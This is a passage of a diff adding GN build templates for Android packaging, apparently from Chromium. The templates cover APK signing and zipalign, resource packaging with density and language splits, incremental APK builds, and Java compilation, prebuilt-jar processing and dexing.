+  #   keystore_name: Key alias to use.
+  #   keystore_password: Keystore password.
+  #   rezip_apk: Whether to add crazy-linker alignment.
+  template("finalize_apk") {
+    action(target_name) {
+      deps = []
+      script = "//build/android/gyp/finalize_apk.py"
+      depfile = "$target_gen_dir/$target_name.d"
+      forward_variables_from(invoker,
+                             [
+                               "deps",
+                               "data_deps",
+                               "public_deps",
+                               "testonly",
+                             ])
+
+      sources = [
+        invoker.input_apk_path,
+      ]
+      inputs = [
+        invoker.keystore_path,
+      ]
+      outputs = [
+        invoker.output_apk_path,
+      ]
+      data = [
+        invoker.output_apk_path,
+      ]
+
+      args = [
+        "--depfile",
+        rebase_path(depfile, root_build_dir),
+        "--zipalign-path",
+        rebase_path(zipalign_path, root_build_dir),
+        "--unsigned-apk-path",
+        rebase_path(invoker.input_apk_path, root_build_dir),
+        "--final-apk-path",
+        rebase_path(invoker.output_apk_path, root_build_dir),
+        "--key-path",
+        rebase_path(invoker.keystore_path, root_build_dir),
+        "--key-name",
+        invoker.keystore_name,
+        "--key-passwd",
+        invoker.keystore_password,
+      ]
+      if (defined(invoker.rezip_apk) && invoker.rezip_apk) {
+        deps += [ "//build/android/rezip" ]
+        _rezip_jar_path = "$root_build_dir/lib.java/rezip_apk.jar"
+        args += [
+          "--load-library-from-zip=1",
+          "--rezip-apk-jar-path",
+          rebase_path(_rezip_jar_path, root_build_dir),
+        ]
+      }
+
+      if (defined(invoker.page_align_shared_libraries) &&
+          invoker.page_align_shared_libraries) {
+        args += [ "--page-align-shared-libraries" ]
+      }
+    }
+  }
+
+  # Packages resources, assets, dex, and native libraries into an apk. Signs and
+  # zipaligns the apk.
+  template("create_apk") {
+    set_sources_assignment_filter([])
+    forward_variables_from(invoker, [ "testonly" ])
+
+    _android_manifest = invoker.android_manifest
+    _base_path = invoker.base_path
+    _final_apk_path = invoker.apk_path
+    _incremental_final_apk_path_helper =
+        process_file_template(
+            [ _final_apk_path ],
+            "{{source_dir}}/{{source_name_part}}_incremental.apk")
+    _incremental_final_apk_path = _incremental_final_apk_path_helper[0]
+
+    if (defined(invoker.resources_zip)) {
+      _resources_zip = invoker.resources_zip
+      assert(_resources_zip != "")  # Mark as used.
+    }
+    if (defined(invoker.dex_path)) {
+      _dex_path = invoker.dex_path
+    }
+    _load_library_from_apk = invoker.load_library_from_apk
+
+    _deps = []
+    if (defined(invoker.deps)) {
+      _deps = invoker.deps
+    }
+    _incremental_deps = []
+    if (defined(invoker.incremental_deps)) {
+      _incremental_deps = invoker.incremental_deps
+    }
+    _native_libs = []
+    if (defined(invoker.native_libs)) {
+      _native_libs = invoker.native_libs
+    }
+    _native_libs_even_when_incremental = []
+    if (defined(invoker.native_libs_even_when_incremental)) {
+      _native_libs_even_when_incremental =
+          invoker.native_libs_even_when_incremental
+    }
+
+    _version_code = invoker.version_code
+    _version_name = invoker.version_name
+    assert(_version_code != -1)  # Mark as used.
+    assert(_version_name != "")  # Mark as used.
+
+    _base_apk_path = _base_path + ".apk_intermediates"
+
+    _resource_packaged_apk_path = _base_apk_path + ".ap_"
+    _incremental_resource_packaged_apk_path =
+        _base_apk_path + "_incremental.ap_"
+    _packaged_apk_path = _base_apk_path + ".unfinished.apk"
+    _incremental_packaged_apk_path =
+        _base_apk_path + "_incremental.unfinished.apk"
+    _shared_resources =
+        defined(invoker.shared_resources) && invoker.shared_resources
+    assert(_shared_resources || true)  # Mark as used.
+    _app_as_shared_lib =
+        defined(invoker.app_as_shared_lib) && invoker.app_as_shared_lib
+    assert(_app_as_shared_lib || true)  # Mark as used.
+    assert(!(_shared_resources && _app_as_shared_lib))
+
+    _keystore_path = invoker.keystore_path
+    _keystore_name = invoker.keystore_name
+    _keystore_password = invoker.keystore_password
+
+    _split_densities = []
+    if (defined(invoker.create_density_splits) &&
+        invoker.create_density_splits) {
+      _split_densities = [
+        "hdpi",
+        "xhdpi",
+        "xxhdpi",
+        "xxxhdpi",
+        "tvdpi",
+      ]
+    }
+
+    _split_languages = []
+    if (defined(invoker.language_splits)) {
+      _split_languages = invoker.language_splits
+    }
+
+    template("package_resources_helper") {
+      action(target_name) {
+        deps = invoker.deps
+
+        script = "//build/android/gyp/package_resources.py"
+        depfile = "${target_gen_dir}/${target_name}.d"
+        inputs = [
+          invoker.android_manifest,
+        ]
+        if (defined(_resources_zip)) {
+          inputs += [ _resources_zip ]
+        }
+        outputs = [
+          invoker.resource_packaged_apk_path,
+        ]
+
+        if (defined(invoker.android_aapt_path)) {
+          _android_aapt_path = invoker.android_aapt_path
+        } else {
+          _android_aapt_path = android_default_aapt_path
+        }
+
+        if (defined(invoker.alternative_android_sdk_jar)) {
+          _rebased_android_sdk_jar =
+              rebase_path(invoker.alternative_android_sdk_jar)
+        } else {
+          _rebased_android_sdk_jar = rebased_android_sdk_jar
+        }
+
+        args = [
+          "--depfile",
+          rebase_path(depfile, root_build_dir),
+          "--android-sdk-jar",
+          _rebased_android_sdk_jar,
+          "--aapt-path",
+          _android_aapt_path,
+          "--configuration-name=$android_configuration_name",
+          "--android-manifest",
+          rebase_path(invoker.android_manifest, root_build_dir),
+          "--version-code",
+          _version_code,
+          "--version-name",
+          _version_name,
+          "--apk-path",
+          rebase_path(invoker.resource_packaged_apk_path, root_build_dir),
+        ]
+
+        if (defined(_resources_zip)) {
+          args += [
+            "--resource-zips",
+            rebase_path(_resources_zip, root_build_dir),
+          ]
+        }
+        if (_shared_resources) {
+          args += [ "--shared-resources" ]
+        }
+        if (_app_as_shared_lib) {
+          args += [ "--app-as-shared-lib" ]
+        }
+        if (_split_densities != []) {
+          args += [ "--create-density-splits" ]
+          foreach(_density, _split_densities) {
+            outputs += [ "${invoker.resource_packaged_apk_path}_${_density}" ]
+          }
+        }
+        if (_split_languages != []) {
+          args += [ "--language-splits=$_split_languages" ]
+          foreach(_language, _split_languages) {
+            outputs += [ "${invoker.resource_packaged_apk_path}_${_language}" ]
+          }
+        }
+        if (defined(invoker.extensions_to_not_compress)) {
+          args += [
+            "--no-compress",
+            invoker.extensions_to_not_compress,
+          ]
+        }
+      }
+    }
+
+    _package_resources_target_name = "${target_name}__package_resources"
+    package_resources_helper(_package_resources_target_name) {
+      forward_variables_from(invoker,
+                             [
+                               "alternative_android_sdk_jar",
+                               "android_aapt_path",
+                               "extensions_to_not_compress",
+                             ])
+      deps = _deps
+      android_manifest = _android_manifest
+      resource_packaged_apk_path = _resource_packaged_apk_path
+    }
+
+    _generate_incremental_manifest_target_name =
+        "${target_name}_incremental_generate_manifest"
+    _incremental_android_manifest =
+        get_label_info(_generate_incremental_manifest_target_name,
+                       "target_gen_dir") + "/AndroidManifest.xml"
+    action(_generate_incremental_manifest_target_name) {
+      deps = _incremental_deps
+      script =
+          "//build/android/incremental_install/generate_android_manifest.py"
+      depfile = "${target_gen_dir}/${target_name}.d"
+      inputs = [
+        _android_manifest,
+      ]
+      outputs = [
+        _incremental_android_manifest,
+      ]
+
+      _rebased_src_manifest = rebase_path(_android_manifest, root_build_dir)
+      _rebased_incremental_manifest =
+          rebase_path(_incremental_android_manifest, root_build_dir)
+      _rebased_depfile = rebase_path(depfile, root_build_dir)
+      args = [
+        "--src-manifest=$_rebased_src_manifest",
+        "--out-manifest=$_rebased_incremental_manifest",
+        "--depfile=$_rebased_depfile",
+      ]
+      if (disable_incremental_isolated_processes) {
+        args += [ "--disable-isolated-processes" ]
+      }
+    }
+
+    _incremental_package_resources_target_name =
+        "${target_name}_incremental__package_resources"
+
+    # TODO(agrieve): See if we can speed up this step by swapping the manifest
+    # from the result of the main package_resources step.
+    package_resources_helper(_incremental_package_resources_target_name) {
+      forward_variables_from(invoker,
+                             [
+                               "alternative_android_sdk_jar",
+                               "android_aapt_path",
+                               "extensions_to_not_compress",
+                             ])
+      deps =
+          _incremental_deps + [ ":$_generate_incremental_manifest_target_name" ]
+      android_manifest = _incremental_android_manifest
+      resource_packaged_apk_path = _incremental_resource_packaged_apk_path
+    }
+
+    package_target = "${target_name}__package"
+    package_apk(package_target) {
+      forward_variables_from(invoker,
+                             [
+                               "assets_build_config",
+                               "emma_instrument",
+                               "native_lib_placeholders",
+                               "native_libs_filearg",
+                               "secondary_abi_native_libs_filearg",
+                               "secondary_native_libs",
+                               "uncompress_shared_libraries",
+                               "write_asset_list",
+                             ])
+      deps = _deps + [ ":${_package_resources_target_name}" ]
+      native_libs = _native_libs + _native_libs_even_when_incremental
+
+      if (defined(_dex_path)) {
+        dex_path = _dex_path
+      }
+
+      output_apk_path = _packaged_apk_path
+      resource_packaged_apk_path = _resource_packaged_apk_path
+    }
+
+    _incremental_package_target = "${target_name}_incremental__package"
+    package_apk(_incremental_package_target) {
+      forward_variables_from(invoker,
+                             [
+                               "assets_build_config",
+                               "emma_instrument",
+                               "secondary_native_libs",
+                               "uncompress_shared_libraries",
+                             ])
+      _dex_target = "//build/android/incremental_install:bootstrap_java__dex"
+      deps = _incremental_deps + [
+               ":${_incremental_package_resources_target_name}",
+               _dex_target,
+             ]
+
+      if (defined(_dex_path)) {
+        dex_path =
+            get_label_info(_dex_target, "target_gen_dir") + "/bootstrap.dex"
+      }
+
+      native_libs = _native_libs_even_when_incremental
+
+      # http://crbug.com/384638
+      _has_native_libs =
+          defined(invoker.native_libs_filearg) || _native_libs != []
+      if (_has_native_libs && _native_libs_even_when_incremental == []) {
+        native_lib_placeholders = [ "libfix.crbug.384638.so" ]
+      }
+
+      output_apk_path = _incremental_packaged_apk_path
+      resource_packaged_apk_path = _incremental_resource_packaged_apk_path
+    }
+
+    _finalize_apk_rule_name = "${target_name}__finalize"
+    finalize_apk(_finalize_apk_rule_name) {
+      forward_variables_from(invoker, [ "page_align_shared_libraries" ])
+
+      input_apk_path = _packaged_apk_path
+      output_apk_path = _final_apk_path
+      keystore_path = _keystore_path
+      keystore_name = _keystore_name
+      keystore_password = _keystore_password
+      rezip_apk = _load_library_from_apk
+
+      public_deps = [
+        # Generator of the _packaged_apk_path this target takes as input.
+        ":$package_target",
+      ]
+    }
+
+    _incremental_finalize_apk_rule_name = "${target_name}_incremental__finalize"
+    finalize_apk(_incremental_finalize_apk_rule_name) {
+      input_apk_path = _incremental_packaged_apk_path
+      output_apk_path = _incremental_final_apk_path
+      keystore_path = _keystore_path
+      keystore_name = _keystore_name
+      keystore_password = _keystore_password
+
+      public_deps = [
+        ":$_incremental_package_target",
+      ]
+    }
+
+    _split_deps = []
+
+    template("finalize_split") {
+      finalize_apk(target_name) {
+        _config = invoker.split_config
+        _type = invoker.split_type
+        input_apk_path = "${_resource_packaged_apk_path}_${_config}"
+        _output_paths = process_file_template(
+                [ _final_apk_path ],
+                "{{source_dir}}/{{source_name_part}}-${_type}-${_config}.apk")
+        output_apk_path = _output_paths[0]
+        keystore_path = _keystore_path
+        keystore_name = _keystore_name
+        keystore_password = _keystore_password
+        deps = [
+          ":${_package_resources_target_name}",
+        ]
+      }
+    }
+
+    foreach(_split, _split_densities) {
+      _split_rule = "${target_name}__finalize_${_split}_split"
+      finalize_split(_split_rule) {
+        split_type = "density"
+        split_config = _split
+      }
+      _split_deps += [ ":$_split_rule" ]
+    }
+    foreach(_split, _split_languages) {
+      _split_rule = "${target_name}__finalize_${_split}_split"
+      finalize_split(_split_rule) {
+        split_type = "lang"
+        split_config = _split
+      }
+      _split_deps += [ ":$_split_rule" ]
+    }
+
+    group(target_name) {
+      public_deps = [ ":${_finalize_apk_rule_name}" ] + _split_deps
+    }
+    group("${target_name}_incremental") {
+      public_deps = [ ":${_incremental_finalize_apk_rule_name}" ] + _split_deps
+    }
+  }
+
+  template("java_prebuilt_impl") {
+    set_sources_assignment_filter([])
+    forward_variables_from(invoker, [ "testonly" ])
+    _supports_android =
+        defined(invoker.supports_android) && invoker.supports_android
+
+    assert(defined(invoker.jar_path))
+    if (defined(invoker.output_name)) {
+      _output_name = invoker.output_name
+    } else {
+      _output_name = get_path_info(invoker.jar_path, "name")
+    }
+    _base_path = "${target_gen_dir}/$target_name"
+
+    # Jar files can be needed at runtime (by Robolectric tests or java binaries),
+    # so do not put them under gen/.
+    _target_dir_name = get_label_info(":$target_name", "dir")
+    _jar_path = "$root_out_dir/lib.java$_target_dir_name/$_output_name.jar"
+    _ijar_path =
+        "$root_out_dir/lib.java$_target_dir_name/$_output_name.interface.jar"
+    _build_config = _base_path + ".build_config"
+
+    if (_supports_android) {
+      _dex_path = _base_path + ".dex.jar"
+    }
+    _deps = []
+    if (defined(invoker.deps)) {
+      _deps = invoker.deps
+    }
+    _jar_deps = []
+    if (defined(invoker.jar_dep)) {
+      _jar_deps = [ invoker.jar_dep ]
+    }
+
+    _template_name = target_name
+
+    _build_config_target_name = "${_template_name}__build_config"
+    _process_jar_target_name = "${_template_name}__process_jar"
+    _ijar_target_name = "${_template_name}__ijar"
+    if (_supports_android) {
+      _dex_target_name = "${_template_name}__dex"
+    }
+
+    write_build_config(_build_config_target_name) {
+      type = "java_prebuilt"
+      is_prebuilt_binary = defined(invoker.main_class)
+      forward_variables_from(invoker,
+                             [
+                               "input_jars_paths",
+                               "proguard_configs",
+                             ])
+      supports_android = _supports_android
+      requires_android =
+          defined(invoker.requires_android) && invoker.requires_android
+
+      if (defined(invoker.deps)) {
+        possible_config_deps = _deps
+      }
+      build_config = _build_config
+      jar_path = _jar_path
+      if (_supports_android) {
+        dex_path = _dex_path
+      }
+    }
+
+    process_java_prebuilt(_process_jar_target_name) {
+      forward_variables_from(invoker,
+                             [
+                               "jar_excluded_patterns",
+                               "proguard_preprocess",
+                               "proguard_preprocess_config",
+                               "strip_resource_classes",
+                             ])
+
+      visibility = [
+        ":$_ijar_target_name",
+        ":$_template_name",
+      ]
+      if (_supports_android) {
+        visibility += [ ":$_dex_target_name" ]
+      }
+
+      supports_android = _supports_android
+      build_config = _build_config
+      input_jar_path = invoker.jar_path
+      output_jar_path = _jar_path
+
+      deps = [ ":$_build_config_target_name" ] + _deps + _jar_deps
+    }
+
+    generate_interface_jar(_ijar_target_name) {
+      if (!defined(invoker.proguard_preprocess) ||
+          !invoker.proguard_preprocess) {
+        # Always used the unfiltered .jar to create the interface jar so that
+        # other targets will resolve filtered classes when depending on
+        # BuildConfig, NativeLibraries, etc.
+        input_jar = invoker.jar_path
+        deps = _deps + _jar_deps
+      } else {
+        # However, still apply pre-proguarding, since ignoring that can break
+        # compiles.
+        input_jar = _jar_path
+        deps = [
+          ":$_process_jar_target_name",
+        ]
+      }
+
+      output_jar = _ijar_path
+    }
+
+    if (_supports_android) {
+      dex(_dex_target_name) {
+        sources = [
+          _jar_path,
+        ]
+        output = _dex_path
+        deps = [ ":$_process_jar_target_name" ] + _deps + _jar_deps
+      }
+    }
+
+    if (defined(invoker.main_class)) {
+      _binary_script_target_name = "${_template_name}__java_binary_script"
+      java_binary_script(_binary_script_target_name) {
+        forward_variables_from(invoker,
+                               [
+                                 "bootclasspath",
+                                 "deps",
+                                 "main_class",
+                                 "wrapper_script_args",
+                               ])
+        if (!defined(deps)) {
+          deps = []
+        }
+        build_config = _build_config
+        jar_path = _jar_path
+        script_name = _template_name
+        if (defined(invoker.wrapper_script_name)) {
+          script_name = invoker.wrapper_script_name
+        }
+        deps += [ ":$_build_config_target_name" ]
+      }
+    }
+
+    group(target_name) {
+      forward_variables_from(invoker, [ "data_deps" ])
+      public_deps = [
+        ":$_ijar_target_name",
+        ":$_process_jar_target_name",
+      ]
+      if (_supports_android) {
+        public_deps += [ ":$_dex_target_name" ]
+      }
+      if (defined(invoker.main_class)) {
+        # Some targets use the generated script while building, so make it a dep
+        # rather than a data_dep.
+        public_deps += [ ":$_binary_script_target_name" ]
+      }
+    }
+  }
+
+  # Compiles and jars a set of java files.
+  #
+  # Outputs:
+  #  $jar_path.jar
+  #  $jar_path.interface.jar
+  #
+  # Variables
+  #   java_files: List of .java files to compile (same as exists in java_sources_file)
+  #   java_sources_file: Path to file containing list of files to compile.
+  #   chromium_code: If true, enable extra warnings.
+  #   srcjar_deps: List of srcjar dependencies. The .java files contained in the
+  #     dependencies srcjar outputs will be compiled and added to the output jar.
+  #   jar_path: Use this to explicitly set the output jar path. Defaults to
+  #     "${target_gen_dir}/${target_name}.jar.
+  template("compile_java") {
+    set_sources_assignment_filter([])
+    forward_variables_from(invoker, [ "testonly" ])
+
+    assert(defined(invoker.build_config))
+    assert(defined(invoker.jar_path))
+
+    _build_config = invoker.build_config
+
+    _chromium_code = false
+    if (defined(invoker.chromium_code)) {
+      _chromium_code = invoker.chromium_code
+    }
+
+    _supports_android = true
+    if (defined(invoker.supports_android)) {
+      _supports_android = invoker.supports_android
+    }
+
+    _requires_android =
+        defined(invoker.requires_android) && invoker.requires_android
+
+    _enable_errorprone = use_errorprone_java_compiler
+    if (!_chromium_code) {
+      _enable_errorprone = false
+    } else if (defined(invoker.enable_errorprone)) {
+      _enable_errorprone = invoker.enable_errorprone
+    }
+
+    _provider_configurations = []
+    if (defined(invoker.provider_configurations)) {
+      _provider_configurations = invoker.provider_configurations
+    }
+
+    _processors = []
+    _enable_interface_jars_javac = true
+    if (defined(invoker.processors_javac)) {
+      _processors = invoker.processors_javac
+      _enable_interface_jars_javac = _processors == []
+    }
+
+    _processor_args = []
+    if (defined(invoker.processor_args_javac)) {
+      _processor_args = invoker.processor_args_javac
+    }
+
+    _additional_jar_files = []
+    if (defined(invoker.additional_jar_files)) {
+      _additional_jar_files = invoker.additional_jar_files
+    }
+
+    if (defined(invoker.enable_incremental_javac_override)) {
+      # Use invoker-specified override.
+      _enable_incremental_javac = invoker.enable_incremental_javac_override
+    } else {
+      # Default to build arg if not overridden.
+      _enable_incremental_javac = enable_incremental_javac
+    }
+
+    _manifest_entries = []
+    if (defined(invoker.manifest_entries)) {
+      _manifest_entries = invoker.manifest_entries
+    }
+
+    _srcjar_deps = []
+    if (defined(invoker.srcjar_deps)) {
+      _srcjar_deps += invoker.srcjar_deps
+    }
+
+    _java_srcjars = []
+    if (defined(invoker.srcjars)) {
+      _java_srcjars = invoker.srcjars
+    }
+    foreach(dep, _srcjar_deps) {
+      _dep_gen_dir = get_label_info(dep, "target_gen_dir")
+      _dep_name = get_label_info(dep, "name")
+      _java_srcjars += [ "$_dep_gen_dir/$_dep_name.srcjar" ]
+    }
+
+    # Mark srcjar_deps as used.
+    assert(_srcjar_deps == [] || true)
+
+    _javac_target_name = "${target_name}__javac"
+    _process_prebuilt_target_name = "${target_name}__process_prebuilt"
+    _ijar_target_name = "${target_name}__ijar"
+    _final_target_name = target_name
+
+    _final_jar_path = invoker.jar_path
+    _javac_jar_path = "$target_gen_dir/$target_name.javac.jar"
+    _process_prebuilt_jar_path = _final_jar_path
+    _final_ijar_path = get_path_info(_final_jar_path, "dir") + "/" +
+                       get_path_info(_final_jar_path, "name") + ".interface.jar"
+
+    _emma_instrument = defined(invoker.emma_instrument) &&
+                       invoker.emma_instrument && invoker.java_files != []
+    if (_emma_instrument) {
+      _emma_instr_target_name = "${target_name}__emma_instr"
+      _process_prebuilt_jar_path =
+          "$target_gen_dir/$target_name.process_prebuilt.jar"
+    }
+
+    _rebased_build_config = rebase_path(_build_config, root_build_dir)
+    _rebased_jar_path = rebase_path(_javac_jar_path, root_build_dir)
+
+    action(_javac_target_name) {
+      script = "//build/android/gyp/javac.py"
+      depfile = "$target_gen_dir/$target_name.d"
+      deps = _srcjar_deps
+      if (defined(invoker.deps)) {
+        deps += invoker.deps
+      }
+
+      outputs = [
+        _javac_jar_path,
+        _javac_jar_path + ".md5.stamp",
+      ]
+      sources = invoker.java_files + _java_srcjars
+      inputs = [
+        _build_config,
+      ]
+      if (invoker.java_files != []) {
+        inputs += [ invoker.java_sources_file ]
+      }
+
+      _rebased_java_srcjars = rebase_path(_java_srcjars, root_build_dir)
+      _rebased_depfile = rebase_path(depfile, root_build_dir)
+      args = [
+        "--depfile=$_rebased_depfile",
+        "--jar-path=$_rebased_jar_path",
+        "--java-srcjars=$_rebased_java_srcjars",
+        "--java-srcjars=@FileArg($_rebased_build_config:javac:srcjars)",
+      ]
+      if (_enable_interface_jars_javac) {
+        args += [ "--classpath=@FileArg($_rebased_build_config:javac:interface_classpath)" ]
+      } else {
+        args +=
+            [ "--classpath=@FileArg($_rebased_build_config:javac:classpath)" ]
+      }
+      if (_enable_incremental_javac) {
+        args += [ "--incremental" ]
+        deps += [ "//third_party/jmake($default_toolchain)" ]
+        inputs += [ "$root_build_dir/bin/jmake" ]
+        outputs += [ "${_javac_jar_path}.pdb" ]
+      }
+      if (_requires_android) {
+        if (defined(invoker.alternative_android_sdk_ijar)) {
+          deps += [ invoker.alternative_android_sdk_ijar_dep ]
+          _android_sdk_ijar = invoker.alternative_android_sdk_ijar
+        } else {
+          deps += [ "//build/android:android_ijar" ]
+          _android_sdk_ijar = "$root_out_dir/lib.java/android.interface.jar"
+        }
+        inputs += [ _android_sdk_ijar ]
+        _rebased_android_sdk_ijar =
+            rebase_path(_android_sdk_ijar, root_build_dir)
+        args += [ "--bootclasspath=$_rebased_android_sdk_ijar" ]
+      }
+      if (use_java8) {
+        args += [ "--java-version=1.8" ]
+      } else if (_supports_android) {
+        args += [ "--java-version=1.7" ]
+      }
+      foreach(e, _manifest_entries) {
+        args += [ "--manifest-entry=" + e ]
+      }
+      if (_chromium_code) {
+        args += [ "--chromium-code=1" ]
+      }
+      if (_enable_errorprone) {
+        deps += [ "//third_party/errorprone:chromium_errorprone" ]
+        args += [
+          "--use-errorprone-path",
+          "bin/chromium_errorprone",
+        ]
+      }
+      foreach(e, _provider_configurations) {
+        args += [ "--provider-configuration=" + rebase_path(e, root_build_dir) ]
+      }
+      foreach(e, _processors) {
+        args += [ "--processor=" + e ]
+      }
+      foreach(e, _processor_args) {
+        args += [ "--processor-arg=" + e ]
+      }
+      foreach(file_tuple, _additional_jar_files) {
+        # Each element is of length two, [ path_to_file, path_to_put_in_jar ]
+        inputs += [ file_tuple[0] ]
+        args +=
+            [ "--additional-jar-file=" + file_tuple[0] + ":" + file_tuple[1] ]
+      }
+      if (invoker.java_files != []) {
+        args += [ "@" + rebase_path(invoker.java_sources_file, root_build_dir) ]
+      }
+    }
+
+    process_java_prebuilt(_process_prebuilt_target_name) {
+      forward_variables_from(invoker,
+                             [
+                               "jar_excluded_patterns",
+                               "proguard_preprocess",
+                               "proguard_preprocess_config",
+                             ])
+      supports_android = _supports_android
+      build_config = _build_config
+      input_jar_path = _javac_jar_path
+      output_jar_path = _process_prebuilt_jar_path
+
+      deps = [
+        ":$_javac_target_name",
+      ]
+      if (defined(invoker.deps)) {
+        deps += invoker.deps
+      }
+    }
+
+    if (_emma_instrument) {
+      emma_instr(_emma_instr_target_name) {
+        forward_variables_from(invoker,
+                               [
+                                 "deps",
+                                 "java_files",
+                                 "java_sources_file",
+                               ])
+
+        input_jar_path = _process_prebuilt_jar_path
+        output_jar_path = _final_jar_path
+
+        if (!defined(deps)) {
+          deps = []
+        }
+        deps += [ ":$_process_prebuilt_target_name" ]
+      }
+    }
+
+    generate_interface_jar(_ijar_target_name) {
+      if (!defined(invoker.proguard_preprocess) ||
+          !invoker.proguard_preprocess) {
+        # Always used the unfiltered .jar to create the interface jar so that
+        # other targets will resolve filtered classes when depending on
+        # BuildConfig, NativeLibraries, etc.
+        input_jar = _javac_jar_path
+        deps = [
+          ":$_javac_target_name",
+        ]
+      } else {
+        # However, still apply pre-proguarding, since ignoring that can break
+        # compiles.
+        input_jar = _process_prebuilt_jar_path
+        deps = [
+          ":$_process_prebuilt_target_name",
+        ]
+      }
+      output_jar = _final_ijar_path
+    }
+
+    group(_final_target_name) {
+      forward_variables_from(invoker, [ "visibility" ])
+      public_deps = [
+        ":$_ijar_target_name",
+      ]
+      if (_emma_instrument) {
+        public_deps += [ ":$_emma_instr_target_name" ]
+      } else {
+        public_deps += [ ":$_process_prebuilt_target_name" ]
+      }
+    }
+  }
+
+  template("java_library_impl") {
+    set_sources_assignment_filter([])
+    forward_variables_from(invoker, [ "testonly" ])
+    _accumulated_deps = []
+    if (defined(invoker.deps)) {
+      _accumulated_deps = invoker.deps
+    }
+
+    assert(defined(invoker.java_files) || defined(invoker.srcjars) ||
+           defined(invoker.srcjar_deps))
+    _base_path = "$target_gen_dir/$target_name"
+
+    if (defined(invoker.output_name)) {
+      _output_name = invoker.output_name
+    } else {
+      _output_name = target_name
+    }
+
+    # Jar files can be needed at runtime (by Robolectric tests or java binaries),
+    # so do not put them under gen/.
+    target_dir_name = get_label_info(":$target_name", "dir")
+    _jar_path = "$root_out_dir/lib.java$target_dir_name/$_output_name.jar"
+    if (defined(invoker.jar_path)) {
+      _jar_path = invoker.jar_path
+    }
+    _template_name = target_name
+
+    _final_deps = []
+
+    _supports_android =
+        defined(invoker.supports_android) && invoker.supports_android
+    _requires_android =
+        defined(invoker.requires_android) && invoker.requires_android
+    assert(_requires_android || true)  # Mark as used.
+    _android_manifest = "//build/android/AndroidManifest.xml"
+    if (defined(invoker.android_manifest)) {
+      _android_manifest = invoker.android_manifest
+    }
+    assert(_android_manifest != "")  # Mark as used.
+
+    if (defined(invoker.run_findbugs_override)) {
+      _run_findbugs = invoker.run_findbugs_override
+    } else {
+      _run_findbugs = run_findbugs  # Default to build arg if not overridden.
+    }
+    assert(_run_findbugs || true)  # Mark as used.
+
+    # Don't enable coverage, lint, findbugs unless the target has some
+    # non-generated files.
+    if (defined(invoker.chromium_code)) {
+      _chromium_code = invoker.chromium_code
+    } else {
+      _chromium_code = defined(invoker.java_files) && invoker.java_files != []
+      if (_chromium_code) {
+        # Make chromium_code = false be the default for targets within
+        # third_party which contain no chromium-namespaced java files.
+        set_sources_assignment_filter([ "*\bthird_party\b*" ])
+        sources = [
+          get_label_info(":$target_name", "dir"),
+        ]
+        if (sources == []) {
+          set_sources_assignment_filter([ "*\bchromium\b*" ])
+          sources = invoker.java_files
+          _chromium_code = invoker.java_files != sources
+        }
+        set_sources_assignment_filter([])
+        sources = []
+      }
+    }
+
+    _emma_never_instrument = !_chromium_code
+    if (defined(invoker.emma_never_instrument)) {
+      _emma_never_instrument = invoker.emma_never_instrument
+    }
+    assert(_emma_never_instrument || true)  # Mark as used
+    _emma_instrument = emma_coverage && !_emma_never_instrument
+
+    if (_supports_android) {
+      _dex_path = _base_path + ".dex.jar"
+      if (defined(invoker.dex_path)) {
+        _dex_path = invoker.dex_path
+      }
+    }
+
+    _java_files = []
+    if (defined(invoker.java_files)) {
+      _java_files += invoker.java_files
+    }
+    if (_java_files != []) {
+      _java_sources_file = "$_base_path.sources"
+      write_file(_java_sources_file, rebase_path(_java_files, root_build_dir))
+    }
+
+    # Define build_config_deps which will be a list of targets required to
+    # build the _build_config.
+    if (defined(invoker.override_build_config)) {
+      _build_config = invoker.override_build_config
+    } else {
+      _build_config = _base_path + ".build_config"
+      build_config_target_name = "${_template_name}__build_config"
+
+      write_build_config(build_config_target_name) {
+        forward_variables_from(invoker,
+                               [
+                                 "gradle_treat_as_prebuilt",
+                                 "input_jars_paths",
+                                 "main_class",
+                                 "proguard_configs",
+                               ])
+        if (defined(invoker.is_java_binary) && invoker.is_java_binary) {
+          type = "java_binary"
+        } else {
+          type = "java_library"
+        }
+        if (defined(invoker.deps)) {
+          possible_config_deps = invoker.deps
+        }
+        supports_android = _supports_android
+        requires_android = _requires_android
+        bypass_platform_checks = defined(invoker.bypass_platform_checks) &&
+                                 invoker.bypass_platform_checks
+
+        build_config = _build_config
+        jar_path = _jar_path
+        if (_supports_android) {
+          dex_path = _dex_path
+        }
+        if (_java_files != []) {
+          java_sources_file = _java_sources_file
+        }
+
+        if (defined(invoker.srcjar_deps)) {
+          bundled_srcjars = []
+          foreach(d, invoker.srcjar_deps) {
+            _dep_gen_dir = get_label_info(d, "target_gen_dir")
+            _dep_name = get_label_info(d, "name")
+            bundled_srcjars += [ "$_dep_gen_dir/$_dep_name.srcjar" ]
+          }
+        }
+      }
+      _accumulated_deps += [ ":$build_config_target_name" ]
+    }
+
+    _srcjar_deps = []
+    if (defined(invoker.srcjar_deps)) {
+      _srcjar_deps = invoker.srcjar_deps
+    }
+
+    _srcjars = []
+    if (defined(invoker.srcjars)) {
+      _srcjars = invoker.srcjars
+    }
+
+    assert(_java_files != [] || _srcjar_deps != [] || _srcjars != [])
+
+    _compile_java_target = "${_template_name}__compile_java"
+    _final_deps += [ ":$_compile_java_target" ]
+    compile_java(_compile_java_target) {
+      forward_variables_from(invoker,
+                             [
+                               "additional_jar_files",
+                               "alternative_android_sdk_ijar",
+                               "alternative_android_sdk_ijar_dep",
+                               "dist_jar_path",
+                               "enable_errorprone",
+                               "enable_incremental_javac_override",
+                               "jar_excluded_patterns",
+                               "manifest_entries",
+                               "processors_javac",
+                               "processor_args_javac",
+                               "proguard_preprocess_config",
+                               "proguard_preprocess",
+                               "provider_configurations",
+                             ])
+      jar_path = _jar_path
+      build_config = _build_config
+      java_files = _java_files
+      if (_java_files != []) {
+        java_sources_file = _java_sources_file
+      }
+      srcjar_deps = _srcjar_deps
+      srcjars = _srcjars
+      chromium_code = _chromium_code
+      supports_android = _supports_android
+      requires_android = _requires_android
+      emma_instrument = _emma_instrument
+      deps = _accumulated_deps
+    }
+    _accumulated_deps += [ ":$_compile_java_target" ]
+    assert(_accumulated_deps != [])  # Mark used.
+
+    if (defined(invoker.main_class)) {
+      # Targets might use the generated script while building, so make it a dep
+      # rather than a data_dep.
+      _final_deps += [ ":${_template_name}__java_binary_script" ]
+      java_binary_script("${_template_name}__java_binary_script") {
+        forward_variables_from(invoker,
+                               [
+                                 "bootclasspath",
+                                 "main_class",
+                                 "wrapper_script_args",
+                               ])
+        build_config = _build_config
+        jar_path = _jar_path
+        script_name = _template_name
+        if (defined(invoker.wrapper_script_name)) {
+          script_name = invoker.wrapper_script_name
+        }
+        deps = _accumulated_deps
+      }
